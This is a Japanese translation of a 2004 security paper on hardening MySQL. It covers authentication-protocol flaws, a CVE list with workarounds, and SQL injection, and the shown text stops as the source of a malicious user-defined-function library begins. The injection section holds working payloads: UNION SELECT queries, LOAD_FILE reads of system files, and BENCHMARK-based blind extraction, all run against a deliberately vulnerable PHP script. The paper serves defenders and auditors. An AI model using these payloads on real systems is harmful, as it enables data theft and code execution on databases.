MySQLのハッカー耐性強化

Chris Anley [chris@ngssoftware.com]

2004 年 7 月 5 日

An NGSSoftware Insight Security Research (NISR) Publication

http://www.ngssoftware.com

【翻訳】三菱総研DCS株式会社

【本資料についてのお問合せ先】

三菱総研DCS株式会社　事業推進企画部

e-mail:　ngs_support@in.dcs.co.jp

TEL :　03-3458-8680

URL :　http://www.dcs.co.jp/security/

目次

はじめに

MySQL は、世界でもっとも普及しているオープンソースデータベースであると標榜しているが、それにはもっともな理由がある。無料で利用でき、さまざまな種類のプラットフォームで動作し、比較的簡単で、設定が容易で、負荷の高い状況でもうまく動作する。他のいくつかのデータベース管理システムと比べると設定方法はじつに簡単だが、それでも、セキュリティに関する広範囲に及ぶ設定上の問題があり、セキュリティを保つのは難しい問題である。

この文書では、MySQL に対する一般的な攻撃の概要を手短に述べ、MySQL 管理者がそれに対する防衛策としてとるべきステップについて述べる。

MySQL のバージョンとパッチ

MySQL AB はいくつかのバージョンの MySQL を活発に管理しており、どのバージョンをインストールすればよいか、判断にやや迷うかもしれない。「アルファ版」では追加のセキュリティ機能が利用できても、「製品版」では利用できないことがよくあるため、セキュリティの観点に立つと、その決定はさらに複雑である。

バージョン 4 の登場により多くの機能が実装され、バージョン 3.23.x 以前の版はやや古びてしまった。

この文書の執筆時点ではバージョン 4.0.x が現行バージョンで、バージョン 3.23 に多くの機能強化が施されている。とりわけ、UNION（ただし、以下で述べるとおり、これは SQL インジェクションに影響する）、SSL 暗号化接続のサポート、そしてパフォーマンスや信頼性の向上が図られている。

バージョン 4.1.x は現在「アルファ版」である。安全性の高いハッシュ関数（SHA1）など、修正された認証プロトコルが含まれている。以前の MySQL の認証プロトコルの実装は暗号理論上脆弱で、多くの攻撃を受けやすかった。新たな認証機構に加え、4.1 は、サブクエリのサポート、Unicode、そして、4.0 に対する多くのパフォーマンスの向上が図られている。

バージョン 5.0 は、現在「開発版」である。この版が提供する新しい機能でもっとも注目すべきものは、ストアドプロシージャのサポートである。

執筆時点での製品版は 4.0.20 である。4.1 には、安全性の高い認証プロトコルを用いた、新しいパスワード認証機構など、セキュリティに関する新機能がいくつかあるが、この機能は現在「アルファ」であり、信頼すべきでない。

安全性を考えるなら、最新の製品版をインストールし、つねに新しいバージョンを確認することだ。セキュリティの問題はつねに見つかっており、つねにパッチを当てておく価値はある。

現在の製品版以外の版を使用する十分な理由があるなら、自分自身をセキュリティと信頼性の問題にさらすことになることを留意しておかなければならない。セキュリティの問題は、注意深く配備し、完全にロックダウンすることで部分的には対処できる。信頼性の問題は、その責任を負うのはいくぶん難しい。

ネットワーク上の MySQL

MySQL サーバーは普及率がとても高く、利用が無料であるため、ネットワーク上の種々雑多な場所で目する。MySQL と統合したオープンソースのプロジェクトは多数あり、別のサーバー上ではなく、デスクトップマシン上で MySQL を動作させているユーザーも珍しくなくなった。

通常の設定では、クライアントは TCP ポート 3306 で MySQL に接続する。Windows プラットフォーム上では、(-enable-named-pipe オプションを付ければ) MySQL を名前付きパイプ上で動作するように設定することも可能であるが、この設定は推奨されない。名前付きパイプモードで動作する MySQL は、デフォルトの設定では TCP ポート 3306 と“MySQL”という名前付きパイプの両方をリスンする。MySQL が使用するネットワークプロトコルは、(Oracle のような他の DBMS に比べると) 比較的単純で、最近のバージョン (4.0.0 以降) では SSL を有効にしたプロトコルを利用できるものの、デフォルトでは平文である。SSL が有効のバージョンでも TCP ポート 3306 上で動作し、順次 SSL ネゴシエーションを行う。

メジャーバージョンとマイナーバージョンがバナーに表示されるので、あるホストがどのバージョンの MySQL で動作しているか、容易に調べることができる。バージョンによっては、OS を知る手がかりを返してくることもある。たとえば、Windows 版のバージョン 4.0.18 は、4.0.18-nt と返す。執筆時点では、ソースコードを書き換えるか、バイナリに手を加える以外に、管理者がこの機能を変更することはできない。したがって、ネットワーク上で MySQL のバージョン番号を目にしたら、その情報は正しいと思われる。バナーを調べる機能を持つ TCP ポートスキャナなら、必ず MySQL のバージョンを返すはずである。

たぶん、MySQL のもっとも一般的な利用方法は、動的な Web アプリケーションのバックエンド機能の提供だ。通常、Apache/PHP アプリケーションのバックエンドとなっており、MySQL が (対象となるネットワークのハードウェア予算にも依るが) Web サーバーと同じホスト上で動作していることさえあるかもしれない。比較的大規模な環境では、侵入検知システム (Intrusion Detection System: IDS) のログ、Web サーバーのログ、その他の監査業務のログサーバーとして使われているかもしれない。内部ネットワークでは、もしかするとヘルプデスクシステムのバックエンドとして、伝統的なクライアント-サーバーモードで使用さ

れているかもしれない。そして、ユーザーが自分のデスクトップマシン上で MySQL を実行することになる理由は多数あり、特に開発環境のワークステーション上に MySQL のインスタンスが見つかることは珍しいことではない。

MySQL の通信プロトコルは歴史的に平文なので、MySQL と同じホスト上に SSH サーバーを配備し、ポートフォワードを使用して暗号化されたトンネル経由でポート 3306 に接続する設定方法がよく採用されている。このやり方には、利点がいくつかある。経路上でのデータの暗号化は認証手順が追加されるということを意味し、データベースサーバーへの接続に対する監査記録も追加されることになる。この設定方法についての詳細は、以下を参照のこと。

http://dev.mysql.com/doc/mysql/en/Security_against_attack.html
http://dev.mysql.com/doc/mysql/en/Secure_connections.html
SSH ベンダーのクライアントおよびサーバーのドキュメント

MySQL の安全性を考慮した設定ガイドでじつに頻繁に見られる危険なアドバイスは、MySQL サーバーを Web サーバーと同じホスト上で動作させ、MySQL へのリモート接続を禁止できるようにすべき、というものだ。しかし、その設定自体が危険につながっている。MySQL のテーブルは、通常、ロックされていないファイルに格納されるので、Web アプリケーションの暴露バグにより、攻撃者にデータベースの内容をすべてダウンロードされてしまう可能性は十分にある。別の観点からは、Web アプリケーションの SQL インジェクションバグにより、攻撃者が Web サーバー上のスクリプトの内容を変更できてしまうことは十分にありうる。パーミションを適切に設定することでこの問題は阻止できる。しかし、Web サーバーとデータベースサーバーを同じホスト上に設置すると、攻撃者にさまざまな攻撃手段を提供してしまうことは、心に留めておく価値がある。

認証プロトコルのバグ

MySQL の認証プロトコルには、きわめて多数のバグが存在してきた。参考までに、ここで文書化しておく。

4.1 より前の認証プロトコルにおける基本的な暗号理論上の脆弱性

バージョン 4.1 より前の MySQL では、**パスワードを知らなくても**、(mysql.user テーブルに含まれている)パスワードハッシュがわかれば認証できる。つまり、4.1 より前のバージョンの MySQL は、パスワードハッシュのクラックツールを書く意味はほとんどない。これは、標準の“mysql”クライアントに単純にパッチを当てて、パスワードではなくパスワードハッシュを受け入れるようにしたものだからである。もちろん、ユーザーはパスワード(特に“root”の

パスワード）を再利用する傾向があるので、全体として安全性の高いネットワークを配慮するなら、どんなパスワードハッシュであっても、クラックすることは無駄にはならない。

MySQL のパスワードクラックツールは、オンラインで容易に見つけられる。

4.1 より前のバージョンは、認証アルゴリズム自体にも暗号理論上の欠陥がある。詳細は、以下を参照のこと。
http://icat.nist.gov/icat.cfm?cvename=CVE-2000-0981

バージョン 4.1.0-4.1.2 および 5.0 における認証バイパスおよびスタックオーバーフロー

MySQL の 4.1.0 から 4.1.2 および 5.0 の初期のビルドでは、認証パケットを注意深く組み立てて送信すれば、攻撃者はパスワード認証をバイパスすることができる。

以下、check_connection（sql_parse.cpp）の 837 行目付近から引用する。

```
/*
  Old clients send null-terminated string as password; new clients send
  the size (1 byte) + string (not null-terminated). Hence in case of empty
  password both send '¥0'.
*/
uint passwd_len= thd->client_capabilities & CLIENT_SECURE_CONNECTION ?
  *passwd++ : strlen(passwd);
```

client_capabilities フラグに 0x8000 が指定されていれば、passwd_len フィールドは好きなように指定できる。この攻撃では、SHA1 ハッシュの長さ 0x14（20）を選ぶ。

ここでいくつかの検証が行われ、接続が許可されているホストからのユーザー認証であることが確認される。この検証にパスすると、次のコードにたどり着く。

```
      /* check password: it should be empty or valid */
      if (passwd_len == acl_user_tmp->salt_len)
      {
        if (acl_user_tmp->salt_len == 0 ||
            acl_user_tmp->salt_len == SCRAMBLE_LENGTH &&
            check_scramble(passwd, thd->scramble, acl_user_tmp->salt) == 0 ||
            check_scramble_323(passwd, thd->scramble,
                               (ulong *) acl_user_tmp->salt) == 0)
        {
          acl_user= acl_user_tmp;
          res= 0;
        }
      }
```

check_scramble 関数には失敗するが、check_scramble_323 関数の中は次のようになっている。

```
my_bool
check_scramble_323(const char *scrambled, const char *message,
                   ulong *hash_pass)
{
  struct rand_struct rand_st;
  ulong hash_message[2];
  char buff[16],*to,extra;                /* Big enough for check */
  const char *pos;

  hash_password(hash_message, message, SCRAMBLE_LENGTH_323);
  randominit(&rand_st,hash_pass[0] ^ hash_message[0],
             hash_pass[1] ^ hash_message[1]);
  to=buff;
  for (pos=scrambled ; *pos ; pos++)
    *to++=(char) (floor(my_rnd(&rand_st)*31)+64);
  extra=(char) (floor(my_rnd(&rand_st)*31));
  to=buff;
  while (*scrambled)
  {
    if (*scrambled++ != (char) (*to++ ^ extra))
      return 1; /* Wrong password */
  }
  return 0;
}
```

この時点で、思いどおりの長さの文字列 scrambled が指定してある。認証が単純にバイパスされた場合、これは長さ 0 の文字列である。最後のループで、文字列 scrambled 中の文字が mysql が知っている正しい値と、文字列 scrambled の長さ分、1 字ずつ比較される。文字列 scrambled に**まったく**文字がないので、関数はすぐに“0”を返し、ユーザーは長さ 0 の文字列で認証される。

このバグの悪用は、専用の MySQL クライアントを書く必要はあるものの、比較的容易である。

長さ 0 の文字列による認証バイパスの問題に加え、スタックベースのバッファ buff が、文字列 scrambled が長いとオーバーフローする問題がある。このバッファは、擬似乱数を生成する関数 my_rnd()から出力される文字でオーバーフローする。この関数が返す文字は 0x40～0x5f の範囲にある。悪用方法は複雑で、総当たり攻撃をするか、パスワードハッシュを少なくとも 1 つ知っている必要はあるが、あるプラットフォームでは、任意のコードを実行可能である。

いずれの攻撃も、実行するにはユーザー名を知っているか、類推できなければならない

ので、MySQL のデフォルトの“root”アカウントの名前を変更するのは妥当な予防措置だ。また、対象のアカウントが攻撃者のホストからアクセス可能でなければならないので、IP アドレスベースのログイン制限の実施もこのバグを軽減するだろう。

3.23.11 より前の認証アルゴリズム

MySQL の 3.23.11 より前のバージョンの認証機構には、攻撃者が「スクランブルされた」パスワードの 1 文字だけを使って認証できるという深刻なバグがあった。スクランブルされた文字列は 32 種類の文字から成ることが判明し、攻撃者はログインに必要な推測回数が少なくて済む。

詳細については、以下を参照のこと。
http://icat.nist.gov/icat.cfm?cvename=CVE-2000-0148

3.23.54 より前および 4.0.6 より前の 4.x の CHANGE_USER

MySQL の 3.23.54 より前のバージョンでは、ユーザーは認証に成功した後、（バッファオーバーフローを引き起こすような）極端に長い文字列か 1 バイトの文字列で“CHANGE_USER”コマンドを発行すると、容易に権限上昇できた。

http://icat.nist.gov/icat.cfm?cvename=CAN-2002-1374
http://icat.nist.gov/icat.cfm?cvename=CAN-2002-1375

セキュリティの面でもっとも強固な設定は、参照可能なネットワークデーモンを SSH のみにしたホストに MySQL を配備することだ。IPTables スクリプトでポート 22（または、SSH がリスンする他のポート）以外への IP アクセスをすべて遮断すればそのように設定できる。この背景にある根拠は、（一般的な意味ですぐれた実践であるばかりでなく）MySQL にもともとある仕組みに加えて、SSH による暗号化レイヤーと、認証と監査機構が強制的に追加されることにある。

その他の歴史的バグ

MySQL にはかなり多くのバグが報告されている。この章は、MySQL に精通した読者の考えを整理し、MySQL がはじめての読者の概要となるように、短く総まとめにしたものである。

明らかに、これらのバグを修正する最良の方法はパッチを当てることだ。さまざまなバグを知っておくことは有用である。というのも、過去に MySQL で発見されてきた不具合は、たぶん、今後発見される不具合の指標となるからだ。また、ロックダウンを改善することで、まだ発見すらされていない攻撃に対する免疫ともなるので、さまざまなバグに対する回避策

を見つけ出して現在の環境に適用する訓練としても有効である。

以下のバグ一覧は、最新のものから古いものの順で、CVE-ID をつけてある。

CVE ID	説明
CAN-2004-0388	symlink 攻撃により、mysqld_multi スクリプトを使ってローカルユーザーが任意のファイルを上書きできる。 回避策：このスクリプトへのアクセスを無効にする。
CAN-2004-0381	一時ファイル failed-mysql-bugreport への symlink 攻撃により、MySQL の mysqlbug を使ってローカルユーザーが任意のファイルを上書きできる。 回避策：このスクリプトへのアクセスを無効にする。
CAN-2003-0780	MySQL 4.0.14 以前および 3.23.x の sql_acl.cc の get_salt_from_password のバッファオーバーフローを使って、長い Password フィールドにより攻撃者が任意のコードを実行できる。 注：この攻撃を実行するには攻撃者がユーザーのパスワードを変更できなければならないが、任意のコードを実行できる。
CAN-2003-0150	3.23.55 以前の MySQL は、誰でも書き込み可能なファイルを作成する。これを利用すると、mysql ユーザーは“SELECT * INTO OUTFILE”文を使って設定ファイルを上書きし、再起動時に root として mysql を実行させることで、root 権限を取得できる。 回避策：パッチを当て、--chroot を使い、ファイルにパーミションを設定する。
CAN-2003-0073	3.23.55 より前のバージョンの MySQL の mysqld のダブルフリー脆弱性により、外部からの攻撃者が mysql_change_user 経由でサービス妨害（クラッシュ）を引き起こすことができる。
CAN-2002-1376	MySQL 3.x から 3.23.54、および 4.0.6 までの 4.x のクライアントライブラリ libmysqlclient が、(1) read_rows または (2) read_one_row の、あるレスポンスのフィールド長を正しく確認しておらず、外部からの攻撃者はサービス妨害を引き起こしたり、任意のコードを実行できたりする。 注：この場合、攻撃者は悪意のある MySQL サーバーを作成し、それに接続してきたクライアントを攻撃する。いったん MySQL サーバー自体を陥れることができたら、この方法で Web サーバーを陥れることができるだろう。

CVE ID	説明
CAN-2002-1375	3.23.54 より前の MySQL 3.x および 4.0.6 までの 4.x の COM_CHANGE_USER コマンドにより、外部からの攻撃者は長いレスポンスを利用して任意のコードを実行できる。 このバグ（および後述する CAN-2002-1374）が、デフォルトの“root”アカウントを別名に変更すべき主な根拠となっている。攻撃者は、この攻撃を実行するには MySQL ユーザーの名前を知らなければならない。
CAN-2002-1374	3.23.54 より前の MySQL 3.x および 4.0.6 より前の 4.x の COM_CHANGE_USER コマンドにより、外部からの攻撃者は、1 文字のパスワードを使った総当たり攻撃を利用して権限を得ることができる。1 文字パスワードにより、MySQL は与えられた 1 文字パスワードと実際のパスワードの最初の 1 文字とのみ比較するようになる。 攻撃者は、この攻撃を実行するには MySQL ユーザーの名前を知らなければならない。
CAN-2002-1373	3.23.54 より前の MySQL 3.23.x の、COM_TABLE_DUMP パッケージの符号付き整数の脆弱性により、外部からの攻撃者は、memcopy コールに大きな負の整数を提供することで mysqld にサービス妨害（クラッシュまたはハングアップ）を引き起こせる。
CAN-2002-0969	3.23.50 より前の MySQL および 4.02 より以前の 4.0 ベータ版はのバッファオーバーフローにより、ローカルユーザーは初期設定ファイル my.ini のパラメータ“datadir”に長い値を設定することで任意のコードを実行できる。Windows のパーミションは、Everyone グループにフルコントロールが許可される。
CAN-2001-1255	WinMySQLadmin 1.1 は、MySQL のパスワードを my.ini ファイルに平文で保存し、ローカルユーザーは MySQL データベースに不正にアクセスできる。 注: このバグは、執筆時点ではまだ修正されていない。
CVE-2001-0407	3.23.36 より前の MySQL のディレクトリトラバーサル脆弱性により、ローカルユーザーはデータベース名が..（ドット 2 つ）で始まるデータベースを作成することで、任意のファイルを修正し、権限を取得できる。
CAN-2001-1274	3.23.31 より前の MySQL のバッファオーバーフローにより、攻撃者はサービス妨害を引き起こし、場合によっては権限を取得できる。

CVE ID	説明
CAN-2001-1275	3.23.31 より前の MySQL で、MySQL アカウントを持つユーザーは、SHOW GRANTS コマンドを使って mysql.user テーブルから管理者の暗号化されたパスワードを取得できる。パスワードをクラックすることで、権限を取得できる可能性がある。
CVE-2000-0981	MySQL データベースエンジンが使用する認証の仕組みが脆弱で、外部からの攻撃者がパスワード回復に利用できる情報が漏洩する。
CVE-2000-0148	MySQL 3.22 において、外部からの攻撃者がパスワード認証をバイパスし、短いチェック文字列を使ってデータベースにアクセスできる（注：CAN-2002-1374 に似ている）。
CVE-2000-0045	MySQL において、ローカルユーザーは GRANT 権限を用いて任意の MySQL ユーザーのパスワードを変更できる。
CVE-1999-1188	MySQL 3.21 の mysqld は、だれもが読み出せるパーミションのログファイルを作成する。ローカルユーザーはこれを使って、user データベースに追加されたユーザーのパスワードを得ることができる。

Web バックエンドとしての MySQL

MySQL の「通常の」配備設定は、Apache/PHP の Web アプリケーションのバックエンドとしてであるに違いないだろう。このスクリプト言語とデータベースの組み合わせの配備については、多くのガイドが存在するので、ここでそれを繰り返すことはしない。しかし、ネットワーク監査の経験から、この構成で MySQL を設定する時に犯しがちな誤りがいくつかあることがわかった。

(1) Web サーバーまたは MySQL サーバーとのネットワーク接続の制限が不十分。
(2) MySQL サーバーのパッチが十分に当てられていない。
(3) データベースに接続する際、MySQL の“root”アカウントや権限が高すぎるアカウントを使用している。
(4) MySQL アカウントにホストベースの制限をかけていない。
(5) MySQL デーモンを、UNIX の“root”アカウントや Windows の LocalSystem アカウントなど、権限の高すぎるアカウントで実行するように設定していることが多い。
(6) MySQL ファイルへのアクセスに制限がかけられておらず、一般的に MySQL が動作しているホストのファイルのパーミションが緩い。
(7) LOAD DATA LOCAL INFILE が許可されている。

上記はきわめて明らかな誤りだが、われわれの経験から言ってじつによく行われているこ

とでもある。この修正方法を記したクイックリファレンスを、この文書の末尾に掲載した。

MySQL における SQL インジェクション

セキュリティコミュニティが、数年間にわたって継続的に説き広めてきたものの、SQL インジェクションはいまだに大きな問題である。この問題自体は、Web アプリケーションでの入力確認が不十分であることによって起こる。しかし、バックエンドデータベースの設定が適切でないと、攻撃も成功しやすくなる。MySQL ボックスを正しくロックダウンすれば、アプリケーションに大きな不備があっても、その影響は軽減されうる。

MySQL の SQL インジェクションの特徴を述べる前に、一般的な攻撃について考慮してみよう。この章は SQL インジェクションについて実用的な知識があることを仮定している。SQL インジェクションについてあまりよく知らなければ、その背景となる情報については、以下を参照のこと。

http://www.ngssoftware.com/papers/advanced_sql_injection.pdf
および
http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf

PHP では、magic_quotes_gpc の設定により PHP エンジンが自動的に引用符、バックスラッシュ、NULL をエスケープするかどうかが制御される。magic_quotes_gpc の gpc は、GET/POST/COOKIE を意味する。この設定は、ごく最近のバージョンではデフォルトで有効になっている。ユーザーが送信した値が文字列変数に入力されていると、

```
$query = "SELECT * FROM user where user = '" . $_REQUEST['user'] . "'";
```

… SQL インジェクションは不可能である。しかし、値をクエリの引用符で括っていない部分、たとえば数値、テーブル名、列名に入力されていると、

```
$query = "SELECT * FROM user order by " . $_REQUEST['user'];
```

または

```
$query = "SELECT * FROM user where max_connections = " . $_REQUEST ['user'];
```

… SQL インジェクションはやはり可能である。PHP/MySQL で数値の問題を扱う場合、可能性があるのは、ユーザーからの入力を、数値を含めて**すべて**引用符で括る方法である。引用符で括っても比較は正しく動作するし、magic_quotes_gpc が文字列をエスケープを施して攻撃者から防御してくれる。

ユーザー入力の確認方法にもよるが、明らかに、“magic quotes”が無効になっていれば、SQL インジェクションはつねに可能である。

攻撃者が SQL インジェクション攻撃を行える場合、問題は何ができるかということだ。おもに危険なものの一覧を挙げると、以下のとおりである。

UNION SELECT
LOAD_FILE 関数
LOAD DATA INFILE 文
SELECT ... INTO OUTFILE 文
BENCHMARK 関数
ユーザー定義関数（User Defined Function: UDF）

ここで、検討用の具体例として、脆弱性のある怪しげなスクリプトを取り上げよう。これは、ある一般的な PHP スクリプト例にやや手を加えた物である。このスクリプトは、MySQL のデフォルトの設定で動作させる必要がある。デフォルトの“root”ユーザーとデフォルトの“mysql”データベースを使用して SQL インジェクションを実演する。これは明らかに不自然な状況だが、それによって例が少しわかりやすくなるだろう。

```
<?php
    /* Connecting, selecting database */
    $link = mysql_connect("my_host", "root")
       or die("Could not connect : " . mysql_error());
    print "Connected successfully";

    mysql_select_db("mysql") or die("Could not select database");
    /* Performing SQL query */
    $query = "SELECT * FROM user where max_connections = " . $_REQUEST ['user'];

    print "<h3>Query: " . $query . "</h3>";

    $result = mysql_query($query) or die("Query failed : " . mysql_error());

    /* Printing results in HTML */
    print "<table>¥n";
    while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) {
       print "¥t<tr>¥n";
       foreach ($line as $col_value) {
          print "¥t¥t<td>$col_value</td>¥n";
       }
       print "¥t</tr>¥n";
    }
    print "</table>¥n";

    /* Free resultset */
    mysql_free_result($result);

    /* Closing connection */
    mysql_close($link);
```

```
?>
```

UNION SELECT

UNION 文は MySQL バージョン 4.0 で実装された。これは、SQL インジェクション攻撃に不可欠な要素である。そのため、この機能の導入によって SQL インジェクション経由で実際に MySQL サーバーを悪用するのが容易になった。

今取り上げている怪しげな例に、このようなクエリがある。

```
$query = "SELECT * FROM user where max_connections = " . $_REQUEST ['user'];
```

デフォルトの“root”ユーザーの max_connections は“0”であり、次のような Web リクエストを発行すると、“user”テーブルが出力される。

http://mysql.example.com/query.php?user=0

“user”テーブルはさておき、ほかの有益なデータを入手したければ、“UNION”文を使って 2 つの結果を結合する。“UNION”文は SELECT 文の“WHERE”節の後に来るので、以下の制約の元で好きなように任意のデータを選ぶことができる。

- UNION で結合する SELECT 文が返す結果は、元の SELECT 文とフィールド数が同じでなければならない（数えるか、“describe user”してみると、フィールド数は 31 である）。
- フィールドのデータ型が一致するか、暗黙のうちに変換されなければならない。
- データにテキストフィールドが含まれる場合、最初のクエリの対応するテキストフィールドの長さまで切り詰められてしまう。

たとえば“@@version”文字列を返してほしい場合は、以下のようなリクエストを出す。

http://mysql.example.com/query.php?user=1+union+select+@@version,1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

UNION SELECT を使えば、別のテーブルの任意のフィールドを選択できる。たとえば、“func”テーブルから“name”フィールドと“dl”フィールドを取得したければ、次のようにする。

http://mysql.example.com/query.php?user=1+union+select+name,dl,1,1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1+from+func

“UNION”を使用すると、攻撃者は、呼び出したアプリケーションがアクセスできる全てのデータに効率的にアクセスできる。

LOAD_FILE 関数

LOAD_FILE 関数は、ファイルのパスを指定すと、そのファイルに含まれる文字列を返す。つまり、たとえば Windows ボックスでは、

select load_file('c:/boot.ini');

というクエリで boot.ini ファイルの内容が得られる。

明らかに、対象のホストが PHP を走らせていて、magic_quotes が有効の場合は、文字列“c:/boot.ini”は引用符をつけずに送る必要がある。さいわい、MySQL は文字列リテラルを HEX エンコード文字列に置き換えたものも受け入れてくれる。

たとえば、以下の 2 つの SELECT 文は同等である。

select 'c:/boot.ini'
select 0x633a2f626f6f742e696e69

つまり、以下のリクエストを出すと、

http://mysql.example.com/query.php?user=1+union+select+load_file(0x633a2f626f6f742e696e69),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

… 以下のようなものが得られる。

```
[boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)pa 1 1 N N N N N N N N N N N N N N N N N N N N N N N N N N 1 1 1 1 1 1
```

つまり、“union”で user テーブルの最初のフィールドの長さ（60 文字）に切り詰められたため、c:¥boot.ini の最初の数バイトが得られている。

“substring”関数を使えば、開始位置を指定できる。

http://mysql.example.com/query.php?user=1+union+select+substring(load_file(0x633a2f626f6f742e696e69),60),
1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

これは、“boot.ini”の次の 60 文字を SELECT する。このようにして、ファイル全体にこれを繰り返せば、すべてのデータを得られる。LOAD_FILE はバイナリファイルでも動作し、SUBSTRING により NULL 文字を飛ばせる。したがって、攻撃者はこの手法を任意のバイナリファイルの読み出しにも利用できる。

LOAD DATE INFILE 文

攻撃者にとって、これは“LOAD_FILE”ほど有用ではない。というのも、ふつう、関数は SELECT 文の項目に使用できるが、“LOAD DATA INFILE”のような完全な文の発行は、少々やりにくい。しかし、SQL インジェクションが、複数の文を発行できる状況であれば、これは深刻な問題となりうる。

テキストファイルを読み出すために実行する必要のある文は、以下のようになるだろう。

```
create table foo( line blob );
load data infile 'c:/boot.ini' into table foo;
select * from foo;
```

LOAD DATA の興味深く、また危険な機能は、LOAD DATA が（サーバーからではなく）MySQL クライアントからファイルを入手させることができるというものである。SQL インジェクションの問題を持つ Web アプリケーションでは、攻撃者は、この機能によりデータベースサーバー上のファイルばかりでなく、Web サーバー上のファイルを読み出すことができる。この問題は、MySQL の 3.23.49 および 4.0.2（Windows では 4.0.13）より上のバージョンでは無効に設定されている。この機能を利用するには、クライアントとサーバーの両方で LOAD DATA INFILE を許可しなければならない。とはいえ、設定でこの機能が無効になっていることを確認するのが賢明だろう。この機能は、クライアントマシンからテーブルにデータをロードするには、きわめて迅速な手段ではあるが、セキュリティの危険性もじつに大きい。

SELECT ... INTO OUTFILE

LOAD DATA INFILE の対となる文に SELECT ... INTO OUTFILE がある。攻撃者の観点からは、この文にも不都合な点が多数存在する。この文は、MySQL サーバーの制御を得るもっとも明確な手段を、攻撃者に示している。つまり、通常は存在しない設定ファイルを（たぶんユーザーのホームディレクトリに）作成するのだ。

最近のバージョンでは、この文は既存のファイルに修正を加えることができず、新しくファイルを作ることしかできないことは覚えておく価値がある。SELECT ... INTO OUTFILE を使用してバイナリファイルを作成しようとすると、特定の文字はバックスラッシュで「エスケープ」され、NULL は“¥0”に置き換えられる。以下のようなやや変形した書式を使えば、SELECT INTO でバイナリファイルを作成できる。

SELECT ... INTO DUMPFILE

この文の悪用方法の 1 つは、ターゲットホストに、動的にロード可能な悪意のあるライブラリ（ユーザー定義関数（User Defined Function: UDF）を含む）を作成することだ。そうすれば、

攻撃者は MySQL サーバー上で任意のコードを実行できる。この攻撃の詳細は、後述する「ユーザー定義関数」を参照のこと。ここで注意しておきたいのは、この攻撃を動作させるには、攻撃者はMySQLが動的にロードするライブラリの探索場所にファイルを書き出せなければならない点だ。問題となるシステムのファイルのパーミションによっては、これは不可能かもしれない。

もう1つ、SELECT ... INTO OUTFILE について留意しておくべき点は、たぶん MySQL の設定ファイルを変更できるということだ。この傑出した例が、前述のテーブルで詳細を記した CAN-2003-0150 のバグである。バージョン 3.23.55 以前では、mysql が MySQL のデータディレクトリの“my.cnf”を新規に作成し、再起動時に MySQL が root で実行するように設定を上書きすることが可能だった。これは、だれもが書き込み可能な設定ファイルを MySQL が読み出さないように変更し、/<datadir>/my.cnf の「ユーザー」設定を/etc/my.cnf の「ユーザー」設定で必ず上書きすることにより、(3.23.56 で)修正された。

このバグの脆弱性を持つバージョンでは、攻撃者が上述の方法によって UDF を使用してシステムを危険にさらすことは比較的簡単だった。

時間遅延と BENCHMARK 関数

Web アプリケーションが、有効なエラーメッセージを何も返さないことが時々ある。この場合、アプリケーションに SQL インジェクションが存在するか判断しにくくなり、攻撃者にとって問題となる。

このような状況では、データベースクエリを長時間(たとえば 10 秒間)休止させられれば、攻撃者にとって好都合である。SQL インジェクションが発生していたらクエリが休止するような、簡単な関数かクエリの一部を攻撃者が持っていれば、Web リクエストの完了に 10 秒間よけいにかかることから、Web アプリケーションのどのスクリプトに脆弱性があるか容易に判断できるだろう。いったん、アプリケーションに SQL インジェクションが存在することを立証できれば、条件文と時間遅延とを組み合わせてデータベースから情報を引き出すことができる。

時間遅延を利用してデータベースからデータを引き出すこの手法についての詳細は、以下の URL を参照のこと。

http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf

MySQL に単純な“wait”関数や“sleep”関数は存在しないが、暗号に関するプリミティブな関数や“benchmark”関数を組み合わせることで、ほぼ同じような動作をする。

benchmark 関数は指定された式を指定された回数評価する。たとえば、

select benchmark(500000, sha1('test'));

は、文字列“test”の SHA1 ハッシュを 500,000 回計算する。これは、1.7GHz のシングルプロセッサのマシンで約 5 秒かかる。

“benchmark”関数は式として使用できるので、Web アプリケーションの有望そうなフィールドに挿入し、アプリケーションが休止するか試してみることができる。たとえば、

http://mysql.example.com/query.php?user=1+union+select+benchmark(500000,sha1(0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

とすると、アプリケーションは応答までかなり長い時間（10〜15 秒間）休止する。

攻撃者はこの技術を利用して、ターゲットシステムに質問を投げかけることができる。たとえば、以下の SELECT 文は現在のユーザーのユーザー名が“root”であれば休止する。

mysql> select if(user() like 'root@%', benchmark(100000,sha1('test')), 'false');

この文の“if”の部分は SELECT 文の列名が入る箇所であればどこにでも挿入できるので、SQL インジェクション経由でこれを動作させることはきわめて容易である。

次のステップは、もちろん、時間遅延を用いてすべてのデータを取得することである。これは、文字列から個々のビットを選択し、それが“1”なら休止させることで得られる。たとえば、以下の文は“user()”の上位ビットが“1”なら休止する。

select if((ascii(substring(user(),1,1)) >> 7) & 1, benchmark(100000,sha1('test')), 'false');

複数のクエリを同時に実行できるので、正常な状況であれば、ある程度の早さでデータベースからデータを引き出すことができる。

ユーザー定義関数

MySQL には、ユーザー定義関数（User Defined Function: UDF）など動的なライブラリを記述して、デフォルトの関数群を拡張する仕組みが提供されている。この仕組みは、“CREATE FUNCTION”文によって実行できる。“mysql.func”テーブルにはエントリを手動で追加できる。

関数を含むライブラリは、通常、MySQL が動的にロードしたライブラリをロードした時に得たパスからアクセスできなければならない。

攻撃者はふつう、「悪意のある」ライブラリを作成し、SELECT ... INTO OUTFILE を使って適切なディレクトリにそれを書き出すことにより、この仕組みを悪用する。ライブラリの設置

後、MySQL がそのライブラリをロードし、関数を実行するよう設定するには、攻撃者は mysql.func テーブルへの“UPDATE”または“INSERT”権限が必要である。

簡単な UDF ライブラリの例のソースコードを以下に示す（整理されていなくて申し訳ない）。

```
#include <stdio.h>
#include <stdlib.h>

/*
以下のようにコンパイルする
gcc -g -c so_system.c
<then>-<>
gcc -g -shared -W1,-soname,so_system.so.0 -o so_system.so.0.0 so_system.o -lc
*/

enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};
